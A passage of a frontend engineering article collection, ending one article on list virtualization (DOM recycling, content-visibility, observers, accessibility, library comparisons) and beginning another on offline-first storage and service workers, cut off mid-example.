  private pool: HTMLElement[] = []
  private poolSize: number

  constructor(viewportSize: number, overscan: number) {
    // Fixed pool size based on viewport, never grows
    this.poolSize = viewportSize + overscan * 2
    this.initializePool()
  }

  private initializePool() {
    for (let i = 0; i < this.poolSize; i++) {
      const element = document.createElement("div")
      element.className = "virtual-item"
      this.pool.push(element)
    }
  }

  // When item scrolls out of view
  recycleElement(element: HTMLElement, newItem: Item, newPosition: number) {
    // Reuse same DOM node - update content, reposition
    element.textContent = newItem.content
    element.style.transform = `translateY(${newPosition}px)`
    // No DOM creation/destruction - just property updates
  }
}
```

**Why recycling improves performance:**

- **No GC pressure**: Element creation allocates memory; destruction triggers garbage collection
- **Warm caches**: Reused elements have cached style computations
- **Predictable memory**: Pool size is constant regardless of list length

**Performance characteristics:**

| Metric         | Value                           |
| -------------- | ------------------------------- |
| DOM nodes      | Fixed pool size (constant)      |
| GC pauses      | Eliminated during scroll        |
| Memory pattern | Flat—no growth with scroll      |
| Initial render | Slightly slower (pool creation) |

**Real-world example:**

AG Grid uses DOM recycling for both row and cell elements in data grids. When scrolling a 100K-row grid, the same ~50 row elements are reused continuously. Their documentation notes this eliminates GC pauses that would otherwise occur every few seconds during continuous scrolling.

### Path 4: CSS `content-visibility` (Newer Alternative)

**How it works:**

The `content-visibility` CSS property tells the browser to skip rendering work for off-screen elements while keeping them in the DOM.

```css title="content-visibility-example.css"
.list-item {
  content-visibility: auto;
  contain-intrinsic-size: 0 100px; /* Width height estimate */
}
```

**Values:**

- `visible` (default): Render normally
- `auto`: Skip rendering when off-screen, render when visible
- `hidden`: Never render (like `display: none` but preserves layout space)

**Critical requirement—`contain-intrinsic-size`:**

Without this, off-screen elements contribute zero height to layout, collapsing the scrollbar. The browser needs height estimates to maintain proper scroll dimensions.

**Browser support (as of 2025):**

All major browsers (Chrome 85+, Firefox 109+, Safari 17.4+) support `content-visibility`. Edge cases remain in Safari for nested scrolling contexts.

**Performance characteristics:**

| Metric                    | Value                                        |
| ------------------------- | -------------------------------------------- |
| DOM nodes                 | All items remain in DOM                      |
| Layout time               | O(viewport) for painting, full DOM for style |
| Memory                    | O(n) — all items exist                       |
| Find-in-page              | ✅ Works natively                            |
| Anchor links              | ✅ Works natively                            |
| Implementation complexity | Low (CSS only)                               |

**Trade-offs vs virtualization:**

| Capability            | Virtualization   | content-visibility |
| --------------------- | ---------------- | ------------------ |
| Find-in-page (Ctrl+F) | ❌ Broken        | ✅ Works           |
| Anchor links (#id)    | ❌ Broken        | ✅ Works           |
| Memory usage          | O(viewport)      | O(n)               |
| Bundle size impact    | Library required | Zero (CSS)         |
| Browser support       | Universal        | Modern browsers    |
| Accessibility         | Requires ARIA    | Native             |

**When to use `content-visibility` over virtualization:**

- Lists under 10,000 items where memory isn't critical
- When find-in-page is required
- When anchor navigation is required
- When simplicity is prioritized over minimal memory
- Progressive enhancement scenarios

**Real-world example:**

web.dev reports a 7x rendering performance improvement on the Chrome DevRel blog by applying `content-visibility: auto` to article sections. The full article DOM exists for search engines and find-in-page, but off-screen sections don't consume paint time.

### Decision Matrix

| Factor                | Fixed-Height | Variable-Height | DOM Recycling | content-visibility |
| --------------------- | ------------ | --------------- | ------------- | ------------------ |
| Item count limit      | Unlimited    | Unlimited       | Unlimited     | ~10K (memory)      |
| Dynamic heights       | ❌           | ✅              | ✅            | ✅                 |
| Find-in-page          | ❌           | ❌              | ❌            | ✅                 |
| Memory efficiency     | ⭐⭐⭐       | ⭐⭐            | ⭐⭐⭐        | ⭐                 |
| Implementation effort | Low          | High            | High          | Trivial            |
| GC pauses             | Possible     | Possible        | Eliminated    | Possible           |
| Browser support       | Universal    | Universal       | Universal     | Modern             |

### Decision Framework

![Diagram](./diagram-1.svg)

## Browser APIs for Virtualization

### ResizeObserver for Height Measurement

ResizeObserver reports element size changes asynchronously, avoiding the performance penalty of synchronous `getBoundingClientRect()` calls.

```typescript title="resize-observer-measurement.ts" collapse={1-2,20-25}
// Height measurement pattern used by react-virtuoso
function measureItemHeight(element: HTMLElement, onMeasure: (height: number) => void): () => void {
  const observer = new ResizeObserver((entries) => {
    // contentRect excludes padding and border
    const height = entries[0].contentRect.height
    onMeasure(height)
  })

  observer.observe(element)

  // Cleanup function
  return () => observer.disconnect()
}
```

**Critical detail—what ResizeObserver measures:**

ResizeObserver's `contentRect` reports the content box (excluding padding, border, margin). If items have margins, add them manually:

```typescript title="margin-aware-measurement.ts"
const computedStyle = getComputedStyle(element)
const marginTop = parseFloat(computedStyle.marginTop)
const marginBottom = parseFloat(computedStyle.marginBottom)
const totalHeight = entry.contentRect.height + marginTop + marginBottom
```

**Infinite loop prevention:**

The ResizeObserver spec prevents infinite loops by delivering notifications breadth-first. If observing an element triggers its resize (e.g., changing its content), the callback won't fire again in the same frame—subsequent changes are delivered in the next frame.

### IntersectionObserver for Visibility Detection

IntersectionObserver detects when elements enter or exit the viewport without triggering layout calculations.

```typescript title="intersection-observer-sentinel.ts" collapse={1-2}
// Sentinel pattern for infinite scroll loading
function setupLoadMoreTrigger(sentinel: HTMLElement, onVisible: () => void) {
  const observer = new IntersectionObserver(
    (entries) => {
      if (entries[0].isIntersecting) {
        onVisible() // Load more items
      }
    },
    {
      rootMargin: "200px", // Trigger 200px before visible
      threshold: 0,
    },
  )

  observer.observe(sentinel)
  return () => observer.disconnect()
}
```

**Why IntersectionObserver over scroll events:**

- **Off main thread**: Calculations happen asynchronously
- **No layout thrashing**: Doesn't force synchronous layout
- **Batched**: Multiple intersections delivered in one callback

### requestAnimationFrame for Scroll Handling

Scroll events fire many times per frame. RAF throttles updates to the frame rate naturally.

```typescript title="raf-scroll-handling.ts"
let scheduled = false
let lastScrollTop = 0

function handleScroll(e: Event) {
  lastScrollTop = (e.target as HTMLElement).scrollTop

  if (!scheduled) {
    scheduled = true
    requestAnimationFrame(() => {
      updateVisibleRange(lastScrollTop)
      scheduled = false
    })
  }
}
```

**Why this matters:**

On a 144Hz display, scroll events might fire 144+ times per second. Without RAF throttling, you'd recalculate visible items on every event—most of which occur between frames and waste CPU cycles.

## Edge Cases and Failure Modes

### Scroll Position Jumping

**Symptom**: When dragging the scrollbar to an arbitrary position, content briefly shows wrong items before correcting.

**Root cause**: Unmeasured items use estimated heights. If estimates are wrong, calculated scroll positions are wrong.

**Mitigation strategies:**

```typescript title="jump-mitigation.ts"
// Strategy 1: Type-based estimates
const heightEstimates: Record<ItemType, number> = {
  text: 60,
  image: 300,
  video: 400,
  card: 150,
}

function estimateHeight(item: Item): number {
  return heightEstimates[item.type] ?? 100
}

// Strategy 2: Running average
let totalMeasured = 0
let measurementCount = 0

function updateEstimate(measuredHeight: number) {
  totalMeasured += measuredHeight
  measurementCount++
}

function getEstimate(): number {
  return measurementCount > 0 ? totalMeasured / measurementCount : defaultEstimate
}
```

### Keyboard Navigation and Focus Management

**Critical accessibility failure**: When a focused item scrolls out of the viewport and is unmounted, focus is lost. Screen reader users lose their position entirely.

**Solution**: Track logical focus (item index) separately from DOM focus. When scrolling brings the focused item back into view, restore DOM focus.

```typescript title="focus-management.ts" collapse={1-3,25-35}
import { useState, useEffect, useRef, useCallback } from "react"

function useFocusManagement(visibleRange: { start: number; end: number }) {
  const [focusedIndex, setFocusedIndex] = useState<number | null>(null)
  const itemRefs = useRef<Map<number, HTMLElement>>(new Map())

  // Track which item should have focus (logical, not DOM)
  const handleKeyDown = useCallback(
    (e: KeyboardEvent) => {
      if (e.key === "ArrowDown" && focusedIndex !== null) {
        setFocusedIndex(focusedIndex + 1)
      } else if (e.key === "ArrowUp" && focusedIndex !== null) {
        setFocusedIndex(Math.max(0, focusedIndex - 1))
      }
    },
    [focusedIndex],
  )

  // Restore DOM focus when focused item becomes visible
  useEffect(() => {
    if (focusedIndex !== null && focusedIndex >= visibleRange.start && focusedIndex <= visibleRange.end) {
      itemRefs.current.get(focusedIndex)?.focus()
    }
  }, [focusedIndex, visibleRange])

  return { focusedIndex, setFocusedIndex, itemRefs, handleKeyDown }
}
```

### Screen Reader Accessibility

**Fundamental problem**: Screen readers navigate the DOM. Virtualized content doesn't exist in the DOM.

**ARIA live regions**: Announce content changes to screen readers.

```html title="aria-live-regions.html"
<div role="list" aria-label="Messages" aria-live="polite" aria-relevant="additions">
  <!-- Virtualized items here -->
  <!-- Screen reader announces when new items are added -->
</div>
```

**ARIA attributes for virtualized lists:**

| Attribute                   | Purpose                                       |
| --------------------------- | --------------------------------------------- |
| `role="list"`               | Identifies container as a list                |
| `aria-live="polite"`        | Announce changes when user is idle            |
| `aria-relevant="additions"` | Only announce new items, not removals         |
| `aria-busy="true"`          | Indicate loading state                        |
| `aria-setsize`              | Total number of items (including virtualized) |
| `aria-posinset`             | Position of each visible item in full list    |

```html title="aria-positioning.html"
<div role="listitem" aria-setsize="10000" aria-posinset="42">Item 42 of 10,000</div>
```

**Ongoing standards work**: The WICG (Web Incubator Community Group) is developing a `<virtual-scroller>` web component to provide native browser support for virtualization with built-in accessibility.

### Find-in-Page Limitations

**Hard constraint**: Browser's Ctrl+F/Cmd+F searches only the visible DOM. Virtualized items don't exist in the DOM.

**Solutions:**

1. **Custom search UI**: Implement application-level search that queries data, calculates positions, and scrolls to results

```typescript title="custom-search.ts"
function searchAndScroll(query: string, items: Item[], virtualizer: Virtualizer) {
  const matchIndex = items.findIndex((item) => item.content.toLowerCase().includes(query.toLowerCase()))

  if (matchIndex !== -1) {
    virtualizer.scrollToIndex(matchIndex, { align: "center" })
  }
}
```

2. **Warning UI**: Display a notice explaining that browser search won't find all content

3. **`content-visibility` alternative**: For lists under ~10K items where find-in-page is critical, use CSS `content-visibility: auto` instead of virtualization

### Bidirectional Scrolling (Chat Interfaces)

**Unique challenge**: Chat interfaces load history when scrolling up and receive new messages at the bottom. Both directions modify the list, and scroll position must be preserved.

**Scroll anchoring**: When items are added above the viewport, adjust scroll position to keep the visible content stationary.

```typescript title="scroll-anchoring.ts"
function addHistoryItems(newItems: Item[], existingItems: Item[]) {
  // Record current scroll position and reference item
  const scrollContainer = containerRef.current
  const currentScrollTop = scrollContainer.scrollTop
  const anchorItem = findFirstVisibleItem()
  const anchorOffset = getItemOffset(anchorItem.index)

  // Add items to beginning
  const combined = [...newItems, ...existingItems]

  // After render, adjust scroll to maintain anchor position
  requestAnimationFrame(() => {
    const newAnchorOffset = getItemOffset(anchorItem.index + newItems.length)
    const adjustment = newAnchorOffset - anchorOffset
    scrollContainer.scrollTop = currentScrollTop + adjustment
  })
}
```

**Reverse infinite scroll**: Discord's message list uses this pattern. Scrolling to the top triggers history loading, with scroll position adjusted so the user doesn't notice items being prepended.

### Dynamic Content (Images Loading)

**Problem**: Images without dimensions cause layout shift when they load, invalidating cached heights.

**Solutions:**

1. **Aspect ratio CSS**: Reserve space before image loads

```css title="aspect-ratio-placeholder.css"
.image-container {
  aspect-ratio: 16 / 9;
  width: 100%;
}

.image-container img {
  width: 100%;
  height: 100%;
  object-fit: cover;
}
```

2. **Re-measure on load**: Update height cache when images complete

```typescript title="image-load-remeasure.ts" collapse={1-2}
function ImageItem({ item, onHeightChange }: Props) {
  const ref = useRef<HTMLDivElement>(null);

  const handleImageLoad = () => {
    if (ref.current) {
      onHeightChange(ref.current.offsetHeight);
    }
  };

  return (
    <div ref={ref}>
      <img src={item.imageUrl} onLoad={handleImageLoad} />
    </div>
  );
}
```

## Performance Optimization

### Overscan Configuration

Overscan renders additional items beyond the viewport to prevent blank areas during fast scrolling.

**Trade-off**: Higher overscan = smoother scrolling but more rendering work per frame.

| Scroll Speed            | Recommended Overscan |
| ----------------------- | -------------------- |
| Slow/moderate           | 1-2 items            |
| Fast scrolling expected | 3-5 items            |
| Scrollbar drag support  | 5-10 items           |

**Direction-aware overscan**: Render more items in the scroll direction for better perceived smoothness.

```typescript title="directional-overscan.ts"
function calculateOverscan(scrollDirection: "up" | "down") {
  return {
    overscanBefore: scrollDirection === "up" ? 5 : 2,
    overscanAfter: scrollDirection === "down" ? 5 : 2,
  }
}
```

### Scroll Event Handling Strategies

**RAF throttling (recommended)**:

```typescript title="raf-throttle.ts"
let rafId: number | null = null

function handleScroll(e: Event) {
  if (rafId === null) {
    rafId = requestAnimationFrame(() => {
      updateVisibleItems()
      rafId = null
    })
  }
}
```

**Passive event listeners**: Improve scroll performance by indicating the handler won't call `preventDefault()`.

```typescript title="passive-scroll.ts"
container.addEventListener("scroll", handleScroll, { passive: true })
```

### GPU-Accelerated Positioning

**Use transforms, not layout-triggering properties:**

```css title="gpu-positioning.css"
/* ✅ GPU-accelerated */
.virtual-item {
  transform: translateY(var(--offset));
  will-change: transform; /* Hint to browser */
}

/* ❌ Triggers layout */
.virtual-item {
  position: absolute;
  top: var(--offset);
}
```

**will-change caveat**: MDN warns that `will-change` is "intended to be used as a last resort." Excessive use creates too many compositor layers, consuming memory and potentially hurting performance. Use selectively on elements that will actually animate.

### Memory Management for Large Lists

**Height cache strategy**: For lists with millions of items, storing every height becomes problematic.

**Segment-based caching**: Store heights in segments, evict old segments using LRU.

```typescript title="segment-cache.ts"
class SegmentedHeightCache {
  private segments: Map<number, Map<number, number>> = new Map()
  private segmentSize = 1000
  private maxSegments = 10

  get(index: number): number | undefined {
    const segmentId = Math.floor(index / this.segmentSize)
    const segment = this.segments.get(segmentId)
    return segment?.get(index)
  }

  set(index: number, height: number) {
    const segmentId = Math.floor(index / this.segmentSize)
    if (!this.segments.has(segmentId)) {
      if (this.segments.size >= this.maxSegments) {
        this.evictOldest()
      }
      this.segments.set(segmentId, new Map())
    }
    this.segments.get(segmentId)!.set(index, height)
  }

  private evictOldest() {
    const firstKey = this.segments.keys().next().value
    this.segments.delete(firstKey)
  }
}
```

## Grid Virtualization

### Two-Dimensional Windowing

Grid virtualization requires windowing both rows AND columns simultaneously.

```typescript title="grid-virtualizer.ts" collapse={1-3,35-45}
interface GridVirtualizerProps {
  rowCount: number
  columnCount: number
  rowHeight: number
  columnWidth: number
  containerWidth: number
  containerHeight: number
}

function calculateVisibleGrid({
  scrollTop,
  scrollLeft,
  rowHeight,
  columnWidth,
  containerWidth,
  containerHeight,
  rowCount,
  columnCount,
}: GridVirtualizerProps & { scrollTop: number; scrollLeft: number }) {
  const startRow = Math.floor(scrollTop / rowHeight)
  const endRow = Math.min(rowCount, Math.ceil((scrollTop + containerHeight) / rowHeight) + 1)

  const startCol = Math.floor(scrollLeft / columnWidth)
  const endCol = Math.min(columnCount, Math.ceil((scrollLeft + containerWidth) / columnWidth) + 1)

  return {
    visibleRows: { start: startRow, end: endRow },
    visibleCols: { start: startCol, end: endCol },
  }
}
```

### Grid-Specific Challenges

**Header synchronization**: Column headers must scroll horizontally with the body; row headers must scroll vertically.

```typescript title="header-sync.ts"
// Sync column header horizontal scroll with body
function syncHeaders(bodyScrollLeft: number, bodyScrollTop: number) {
  columnHeaderRef.current.scrollLeft = bodyScrollLeft
  rowHeaderRef.current.scrollTop = bodyScrollTop
}
```

**Cell selection**: Multi-cell selection requires tracking 2D ranges and rendering selection highlights efficiently.

**Column resizing**: When column widths change, all cached position calculations must be invalidated—more expensive than row height changes because it affects the horizontal axis formula.

## Real-World Implementations

### Discord: Message Virtualization

**Challenge**: Millions of messages across servers, with rich content (embeds, reactions, replies).

**Architecture**:

- Backend: ScyllaDB for message storage (replaced Cassandra for better latency)
- Frontend: Custom virtualization with DOM recycling
- Real-time: Elixir processes for WebSocket coordination

**Virtualization approach**:

- Fixed-ish heights: Most messages have predictable heights
- Type-based estimation for embeds, images
- Bidirectional scrolling for history loading
- Scroll anchoring when new messages arrive

**Key insight**: Discord separates "jump to message" (scrollbar drag) from "scroll to load more" (reaching boundaries). Jump uses estimation; boundary loading measures precisely.

### Figma: Canvas Virtualization

**Challenge**: Infinite canvas with millions of objects at arbitrary zoom levels.

**Architecture**:

- Rendering: WebGL (now WebGPU in Chrome 127+)
- Spatial indexing: R-tree for visible object queries
- Level-of-detail: Simplify distant objects

**Key insight**: Figma doesn't use DOM virtualization—they bypass the DOM entirely with WebGL. The "virtualization" is which objects to send to the GPU based on the current viewport and zoom level.

**Outcome**: 60fps with 100K+ objects, 50ms initial render for complex files.

### VS Code: Editor Virtualization

**Challenge**: Files with 100K+ lines, syntax highlighting, code folding, minimap.

**Approach**:

- Line-based virtualization with fixed heights (monospace font)
- Incremental tokenization for syntax highlighting
- Minimap uses fixed-height representation

**Large file optimizations** (`editor.largeFileOptimizations`):

- Disable syntax highlighting above threshold
- Disable code folding computation
- Disable minimap rendering

**Key insight**: VS Code selectively disables features as file size increases, trading functionality for responsiveness.

### Slack: Hybrid Virtual Scrollbar

**Challenge**: Message history spanning years, with mixed content types.

**Approach**:

- True overflow scrolling (native scrollbar behavior)
- Custom virtual scrollbar UI overlaid
- Backend pagination with cursors

**Key insight**: Rather than reimplementing scroll physics, Slack uses the browser's native scrolling and only virtualizes the scrollbar UI—reducing complexity while maintaining familiar scroll feel.

## Library Comparison

### react-window

**Author**: Brian Vaughn (bvaughn), former React team member

**Design philosophy**: Minimal, focused alternative to react-virtualized.

**Components**:

- `FixedSizeList` / `VariableSizeList`
- `FixedSizeGrid` / `VariableSizeGrid`

**Bundle size**: ~6KB gzipped

**Best for**: Teams wanting a lightweight, well-maintained React solution for common virtualization patterns.

### react-virtuoso

**Specialization**: Variable-height content with automatic measurement.

**Key features**:

- ResizeObserver-based automatic height tracking
- Built-in handling for prepending items (chat use case)
- Grouped lists with sticky headers

**Bundle size**: ~15KB gzipped

**Best for**: Social feeds, chat interfaces—anywhere content heights vary unpredictably.

### @tanstack/virtual

**Author**: Tanner Linsley (TanStack maintainer)

**Architecture**: Framework-agnostic core with adapters for React, Vue, Svelte, Solid.

**Key innovation**: Inversion of control—framework adapters implement browser interactions, core handles calculations.

**Bundle size**: ~10KB gzipped (core)

**Best for**: Multi-framework teams, or when you need virtualization outside React.

### Library Decision Matrix

| Library              | Bundle Size | Variable Height | Auto-measure | Framework | Best For        |
| -------------------- | ----------- | --------------- | ------------ | --------- | --------------- |
| react-window         | 6KB         | Manual          | ❌           | React     | Simple lists    |
| react-virtuoso       | 15KB        | Built-in        | ✅           | React     | Dynamic content |
| @tanstack/virtual    | 10KB        | Built-in        | ✅           | Any       | Multi-framework |
| vue-virtual-scroller | 12KB        | Built-in        | ✅           | Vue       | Vue apps        |

## Conclusion

Virtualization is the only viable approach for rendering large lists in the browser. The core principle—render only what's visible—transforms O(n) DOM operations into O(viewport) regardless of list size.

Choose your approach based on constraints:

- **Fixed-height virtualization** when you can enforce uniform item heights—simplest and fastest
- **Variable-height virtualization** for real-world content—the production standard
- **DOM recycling** when GC pauses are unacceptable—adds complexity but eliminates allocation churn
- **CSS `content-visibility`** when find-in-page matters and list size is under ~10K—simplest implementation, keeps full DOM

The implementation details matter: use `transform` over `top`, RAF-throttle scroll events, manage focus for accessibility, and handle the edge cases (scroll jumping, bidirectional scrolling, dynamic content) that differentiate production code from demos.

## Appendix

### Prerequisites

- Browser rendering pipeline (layout, paint, composite)
- React or framework fundamentals (for library examples)
- Basic understanding of time complexity notation

### Terminology

| Term             | Definition                                                      |
| ---------------- | --------------------------------------------------------------- |
| Virtualization   | Rendering only visible items plus buffer                        |
| Windowing        | Synonym for virtualization in this context                      |
| Overscan         | Extra items rendered beyond visible viewport                    |
| DOM recycling    | Reusing DOM elements instead of create/destroy                  |
| Height cache     | Storage of measured item heights for positioning                |
| Scroll anchoring | Maintaining visual position when items are added above viewport |

### Summary

- Virtualization keeps DOM size constant (O(viewport)) regardless of list length
- Fixed-height is simplest (pure math); variable-height handles real content
- Use `transform: translateY()` for GPU-accelerated positioning
- ResizeObserver measures heights; IntersectionObserver detects visibility
- `content-visibility: auto` is a CSS-only alternative that preserves find-in-page
- Focus management and ARIA attributes are critical for accessibility
- Real-world implementations (Discord, Figma, VS Code) combine techniques based on their specific constraints

### References

- [W3C Intersection Observer Specification](https://www.w3.org/TR/intersection-observer/) - Authoritative API specification
- [CSSWG ResizeObserver Specification](https://drafts.csswg.org/resize-observer/) - Observer API for element size changes
- [MDN: content-visibility](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility) - CSS property documentation
- [web.dev: Virtualize long lists with react-window](https://web.dev/articles/virtualize-long-lists-react-window) - Chrome DevRel implementation guide
- [web.dev: content-visibility: the new CSS property that boosts your rendering performance](https://web.dev/articles/content-visibility) - Performance case study
- [TanStack Virtual Documentation](https://tanstack.com/virtual/latest/docs/introduction) - Framework-agnostic library docs
- [react-window GitHub](https://github.com/bvaughn/react-window) - Library source and documentation
- [react-virtuoso Documentation](https://virtuoso.dev/) - Variable-height virtualization library
- [WICG Virtual Scroller Proposal](https://github.com/WICG/virtual-scroller) - Ongoing standardization effort
- [Figma: Keeping Figma Fast](https://www.figma.com/blog/keeping-figma-fast/) - Canvas virtualization case study
- [AG Grid: DOM Virtualization](https://www.ag-grid.com/javascript-data-grid/dom-virtualisation/) - Grid virtualization patterns

---

## Offline-First Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/offline-first-architecture
**Category:** System Design / Frontend System Design
**Description:** Building applications that prioritize local data and functionality, treating network connectivity as an enhancement rather than a requirement—the storage APIs, sync strategies, and conflict resolution patterns that power modern collaborative and offline-capable applications.Offline-first inverts the traditional web model: instead of fetching data from servers and caching it locally, data lives locally first and syncs to servers when possible. This article explores the browser APIs that enable this pattern, the sync strategies that keep data consistent, and how production applications like Figma, Notion, and Linear solve these problems at scale.

# Offline-First Architecture

Building applications that prioritize local data and functionality, treating network connectivity as an enhancement rather than a requirement—the storage APIs, sync strategies, and conflict resolution patterns that power modern collaborative and offline-capable applications.

Offline-first inverts the traditional web model: instead of fetching data from servers and caching it locally, data lives locally first and syncs to servers when possible. This article explores the browser APIs that enable this pattern, the sync strategies that keep data consistent, and how production applications like Figma, Notion, and Linear solve these problems at scale.

<figure>

![Offline-first architecture: application reads/writes to local storage first, service worker manages caching, and sync happens in the background when connectivity allows.](./offline-first-architecture-application-reads-writes-to-local-storage-first-servi.svg)

<figcaption>Offline-first architecture: application reads/writes to local storage first, service worker manages caching, and sync happens in the background when connectivity allows.</figcaption>
</figure>

## Abstract

Offline-first architecture treats local storage as the primary data source and network as a sync mechanism. The core mental model:

- **Local-first data**: Application reads from and writes to local storage (IndexedDB, OPFS) immediately. Network operations are asynchronous background tasks, not blocking user interactions.

- **Service Workers as network proxy**: Service Workers intercept all network requests, enabling caching strategies (cache-first, network-first, stale-while-revalidate) and background sync when connectivity returns.

- **Conflict resolution is the hard problem**: When multiple clients modify the same data offline, syncing creates conflicts. Three approaches: Last-Write-Wins (simple but loses data), Operational Transform (requires central server), and CRDTs (mathematically guaranteed convergence but complex).

- **Storage is constrained and unreliable**: Browser storage quotas vary wildly (Safari: 1GB, Chrome: 60% of disk). Storage can be evicted without warning unless persistent storage is requested and granted.

| Pattern    | Complexity | Data Loss Risk     | Offline Duration | Best For          |
| ---------- | ---------- | ------------------ | ---------------- | ----------------- |
| Cache-only | Low        | High (stale data)  | Minutes          | Static assets     |
| Sync queue | Medium     | Medium (conflicts) | Hours            | Form submissions  |
| OT-based   | High       | Low                | Days             | Real-time collab  |
| CRDT-based | Very High  | None               | Indefinite       | P2P, long offline |

## The Challenge

### Browser Constraints

Building offline-first applications means working within browser limitations that don't exist in native apps.

**Main thread contention**: IndexedDB operations are asynchronous but still affect the main thread. Large reads/writes can cause jank. Service Workers run on a separate thread but share CPU with the page.

**Storage quotas**: Browsers limit how much data an origin can store, and quotas vary dramatically:

| Browser | Best-Effort Mode       | Persistent Mode       | Eviction Behavior               |
| ------- | ---------------------- | --------------------- | ------------------------------- |
| Chrome  | 60% of disk            | 60% of disk           | LRU when >80% full              |
| Firefox | 10% of disk (max 10GB) | 50% of disk (max 8TB) | LRU by origin                   |
| Safari  | ~1GB total             | Not supported         | 7 days without user interaction |

**Safari's aggressive eviction**: Safari deletes all website data (IndexedDB, Cache API, localStorage) after 7 days without user interaction when Intelligent Tracking Prevention (ITP) is enabled. This fundamentally breaks long-term offline storage for Safari users.

> "After 7 days of Safari use without user interaction on your site, all the website's script-writable storage forms are deleted." — WebKit Blog, 2020

**Storage API fragmentation**: Different storage mechanisms have different characteristics:

| Storage Type   | Max Size     | Persistence        | Indexed | Transaction Support |
| -------------- | ------------ | ------------------ | ------- | ------------------- |
| localStorage   | 5MB          | Session/persistent | No      | No                  |
| sessionStorage | 5MB          | Tab session        | No      | No                  |
| IndexedDB      | Origin quota | Persistent         | Yes     | Yes                 |
| Cache API      | Origin quota | Persistent         | No      | No                  |
| OPFS           | Origin quota | Persistent         | No      | No                  |

### Network Realities

**`navigator.onLine` is unreliable**: This API only indicates whether the browser has a network interface—not whether it can reach the internet. A LAN connection without internet access reports `online: true`.

```typescript
// Don't rely on this for actual connectivity
navigator.onLine // true even without internet access

// Instead, detect actual connectivity
async function checkConnectivity(): Promise<boolean> {
  try {
    const response = await fetch("/api/health", {
      method: "HEAD",
      cache: "no-store",
    })
    return response.ok
  } catch {
    return false
  }
}
```

**Network transitions are complex**: Users move between WiFi, cellular, and offline. Requests can fail mid-flight. Servers can be reachable but slow. Offline-first apps must handle all these states gracefully.

### Scale Factors

The right offline strategy depends on data characteristics:

| Factor              | Simple Offline        | Full Offline-First      |
| ------------------- | --------------------- | ----------------------- |
| Data size           | < 10MB                | 100MB+                  |
| Update frequency    | < 1/hour              | Real-time               |
| Concurrent editors  | Single user           | Multiple users          |
| Offline duration    | Minutes               | Days/weeks              |
| Conflict complexity | Overwrites acceptable | Must preserve all edits |

## Storage Layer

### IndexedDB: The Foundation

IndexedDB is the primary storage mechanism for offline-first apps. It's a transactional, indexed object store that can handle large amounts of structured data.

**Transaction model**: IndexedDB uses transactions with three modes:

- `readonly`: Multiple concurrent reads allowed
- `readwrite`: Serialized writes, blocks other readwrite transactions on same object stores
- `versionchange`: Schema changes, exclusive access to entire database

```typescript collapse={1-3, 22-30}
// Database initialization with versioning
const DB_NAME = "offline-app"
const DB_VERSION = 2

function openDatabase(): Promise<IDBDatabase> {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open(DB_NAME, DB_VERSION)

    request.onupgradeneeded = (event) => {
      const db = request.result
      const oldVersion = event.oldVersion

      // Version 1: Initial schema
      if (oldVersion < 1) {
        const store = db.createObjectStore("documents", { keyPath: "id" })
        store.createIndex("by_updated", "updatedAt")
      }
      // Version 2: Add sync metadata
      if (oldVersion < 2) {
        const store = request.transaction!.objectStore("documents")
        store.createIndex("by_sync_status", "syncStatus")
      }
    }

    request.onsuccess = () => resolve(request.result)
    request.onerror = () => reject(request.error)
  })
}
```

**Versioning is critical**: IndexedDB schema changes require version increments. Opening a database with a lower version than exists fails. The `onupgradeneeded` handler must handle all version migrations sequentially.

**Cursor operations for large datasets**: For datasets too large to load entirely, use cursors:

```typescript collapse={1-2, 20-25}
async function* iterateDocuments(db: IDBDatabase): AsyncGenerator<Document> {
  const tx = db.transaction("documents", "readonly")
  const store = tx.objectStore("documents")
  const request = store.openCursor()

  while (true) {
    const cursor = await new Promise<IDBCursorWithValue | null>((resolve) => {
      request.onsuccess = () => resolve(request.result)
    })
    if (!cursor) break
    yield cursor.value
    cursor.continue()
  }
}
```

### Origin Private File System (OPFS)

OPFS provides file system access within the browser sandbox—faster than IndexedDB for binary data and large files.

**When to use OPFS over IndexedDB**:

- Binary files (images, videos, documents)
- Large blobs (>10MB)
- Sequential read/write patterns
- Web Workers with synchronous access needed

```typescript collapse={1-2, 18-22}
// OPFS access
async function saveFile(name: string, data: ArrayBuffer): Promise<void> {
  const root = await navigator.storage.getDirectory()
  const fileHandle = await root.getFileHandle(name, { create: true })

  // Async API (main thread or worker)
  const writable = await fileHandle.createWritable()
  await writable.write(data)
  await writable.close()
}

// Synchronous API (workers only) - much faster
function saveFileSync(name: string, data: ArrayBuffer): void {
  const root = navigator.storage.getDirectory()
  const fileHandle = root.getFileHandleSync(name, { create: true })
  const accessHandle = fileHandle.createSyncAccessHandle()
  accessHandle.write(data)
  accessHandle.close()
}
```

**OPFS limitations**:

- No indexing (unlike IndexedDB)—you manage your own file organization
- Synchronous API only in Web Workers
- No cross-origin access
- Same quota as IndexedDB (shared origin quota)

### Storage Manager API

The Storage Manager API provides quota information and persistence requests:

```typescript
async function checkStorageStatus(): Promise<{
  quota: number
  usage: number
  persistent: boolean
}> {
  const estimate = await navigator.storage.estimate()
  const persistent = await navigator.storage.persisted()

  return {
    quota: estimate.quota ?? 0,
    usage: estimate.usage ?? 0,
    persistent,
  }
}

async function requestPersistence(): Promise<boolean> {
  // Chrome auto-grants for "important" sites (bookmarked, installed PWA)
  // Firefox prompts the user
  // Safari doesn't support persistent storage
  if (navigator.storage.persist) {
    return await navigator.storage.persist()
  }
  return false
}
```

**Persistence reality**: Without persistent storage, browsers can evict your data at any time when storage pressure occurs. Chrome uses LRU eviction by origin. Safari's 7-day limit applies regardless of persistence requests.

**Design implication**: Never assume local data will survive. Always design for re-sync from server. Treat local storage as a cache that improves UX, not as the source of truth.

## Service Workers

Service Workers are JavaScript workers that intercept network requests, enabling offline functionality and background sync.

### Lifecycle

Service Workers have a distinct lifecycle that affects how updates propagate:

```
Install → Waiting → Activate → Running → Idle → Terminated
                ↑                              ↓
                └──────── Fetch event ─────────┘
```

**Installation**: Service Worker is downloaded and parsed. `install` event fires—use this to pre-cache critical assets.

**Waiting**: New Service Worker waits until all tabs using the old version close. This prevents breaking in-flight requests.

**Activation**: Old Service Worker is replaced. `activate` event fires—use this to clean up old caches.

```typescript collapse={1-5, 30-40}
// service-worker.ts
const CACHE_VERSION = "v2"
const STATIC_CACHE = `static-${CACHE_VERSION}`
const DYNAMIC_CACHE = `dynamic-${CACHE_VERSION}`

self.addEventListener("install", (event: ExtendableEvent) => {
